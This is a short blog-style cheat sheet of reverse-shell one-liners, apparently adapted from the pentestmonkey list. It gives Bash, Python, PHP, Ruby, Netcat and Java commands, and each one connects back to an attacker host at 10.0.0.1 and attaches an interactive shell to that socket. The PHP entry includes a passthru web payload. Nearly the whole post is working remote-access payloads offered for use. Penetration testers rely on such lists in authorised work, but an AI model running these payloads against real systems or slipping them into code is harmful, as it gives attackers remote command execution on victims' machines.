There are a lot of sites on internet where you can find many ways to get a reverse shell. One of this is pentestmonkey. I used this cheat sheet for years and at the same time other sources of information that I have compiled below.

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"

0<&196;exec 196<>/dev/tcp/10.0.0.1/8080; sh <&196 >&196 2>&196

bash -l > /dev/tcp/10.0.0.1/8080 0<&1 2>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

export RHOST="10.0.0.1";export RPORT=8080;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

PHP

<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 8080 >/tmp/f"); ?>

php -r '$sock=fsockopen("10.0.0.1",8080);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$sock=fsockopen("10.0.0.1",8080);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",8080);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

# netcat compiled with -e flag
nc -e /bin/sh 10.0.0.1 8080

# without -e flag
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 8080 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Thank you

This post will be updated as I find interesting ways of get a reverse shell. Thanks for reading!
